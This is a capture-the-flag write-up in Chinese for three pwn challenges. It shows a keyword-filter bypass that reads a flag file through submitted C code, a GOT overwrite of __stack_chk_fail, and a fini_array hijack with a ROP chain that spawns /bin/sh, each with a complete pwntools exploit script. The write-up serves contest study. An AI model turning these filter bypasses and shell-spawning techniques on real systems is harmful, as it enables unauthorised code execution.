BJD3rd&DASCTF-WriteUp

PWN

TaQini OJ 0

没附件,盲打,nc上去。

一个OJ系统,可以编译运行写的C代码,提示输出Hello TaQini,按要求写一段C后给了flag的路径/home/ctf/flag
然后很自然的尝试了system("cat /home/ctf/flag")发现过滤了flag和system,exec类的函数。然后一个劲的写漏洞程序想着getshell,现在想想真是SB。直接读文件就完事了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level="debug", arch="amd64")

io = remote("183.129.189.60", 10075)

program = """
#include <stdio.h>

int main(){
char buff[128]={0}, file[128]={0};
scanf("%s", file);
FILE* fp = fopen(file, "r");
fscanf(fp, "%s", buff);
printf("%s", buff);
return 0
}@

"""

io.sendlineafter("'@')", program)
io.sendlineafter("(Y/n)", "/home/ctf/flag")

io.interactive()

用输入来绕过flag的过滤。
看其它师傅的wp用包含秒了两道OJ题。。。

1
2
#include "/home/ctf/f\
lag"@

Memory Monster I


任意地址写。找了一下发现system("/bin/sh")。想办法跳过去执行。
checksec开了Canary保护,利用任意地址写Hajack掉got里的__stack_chk_fail地址,然后覆盖canary即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(log_level="debug", arch="amd64")

elf = ELF("Memory_Monster_I")

io = process("Memory_Monster_I")
#io = remote("183.129.189.60", 10081)

gdb.attach(io)
io.sendafter("addr:", p64(elf.got['__stack_chk_fail']) + 'a'*0x30)
io.sendafter("data:", p64(0x000000000040124A))

io.interactive()

Memory_Monster_II


静态编译去符号。字符串窗口找类似”addr:”这种串,跟着引用找到main函数。看一下和第一题是差不多的,任意地址写。checksec发现只有NX,没开canary。但仔细看一下rbp-8的v5,在return前有个判断,其实就是canary。没check出来估计是去了符号的原因。按第一题的做法也是可以的,但是我没有,因为找__stack_chk_fail函数真是太可怕了。
这里就是劫持fini_array
原理就是,首先程序入口并不是main函数,平时调试都会发现main的返回地址在libc_start_main里,然后它的函数原型是这样的。

1
__libc_start_main(main,argc,argv&env,init,fini,rtld_fini)

参数有三个函数指针,main,init,fini,其中init是main前调用的,fini是main后调用的。
而我们利用的点就在fini里边。fini调用的函数是__libc_csu_fini,它里面有个fini_array,存放两个函数指针,顺序是先执行fini_array[1],再执行fini_array[0]
我们利用的思路是:

1
2
fini_array[0] = __libc_csu_fini  
fini_array[1] = main

这样就可以循环执行main,解决数据写入量少的问题。
然后就是部署Rop。One_gadget梭不出来,自己ROPgadget一个个找。
找完之后将Rop部署在fini_array+0x10的地方,然后打断循环,并将栈迁移到我们部署的Rop上。

1
2
fini_array[0] = gadget: leave;ret
fini_array[1] = gadget: ret

main执行完就会执行fini_array[0],leave之后rsp就到了fini_array+0x8,这样放一个ret到
fini_array+0x8就可以执行fini_array+0x10的Rop_chain上了。
先找__libc_csu_fini的地址,跟一个start函数,按照参数顺序对应的r8寄存器。

跟进找fini_array的地址。

静态链接找gadget随便找。0x3b号系统调用execve("/bin/sh", 0, 0)
最后代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#context(log_level="debug", arch="amd64")

io = process("Memory_Monster_II")
#io = remote("183.129.189.60", 10100)

#gdb.attach(io)

fini_array = 0x4b80b0
libc_csu_fini = 0x402cb0
bin_sh_addr = 0x0000000000492895
main_addr = 0x0000000000401C1D
pop_rdi = 0x0000000000401746
pop_rdx_rsi = 0x000000000044baf9
syscall_0x3b = 0x000000000046efe0
leave_ret = 0x0000000000401cf3
ret = 0x0000000000401cf4


io.sendafter("addr:", p64(fini_array))
io.sendafter("data:", p64(libc_csu_fini)+p64(main_addr))

rop_chain = [
p64(pop_rdi),
p64(bin_sh_addr),
p64(pop_rdx_rsi),
p64(0),
p64(0),
p64(syscall_0x3b)
]

for i in range(len(rop_chain)):
io.sendafter("addr:", p64(fini_array+0x10+i*8))
io.sendafter("data:", rop_chain[i])

io.sendafter("addr:", p64(fini_array))
io.sendafter("data:", p64(leave_ret) + p64(ret))

io.interactive()
文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/05/26/BJD3rnd-DASCTF-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog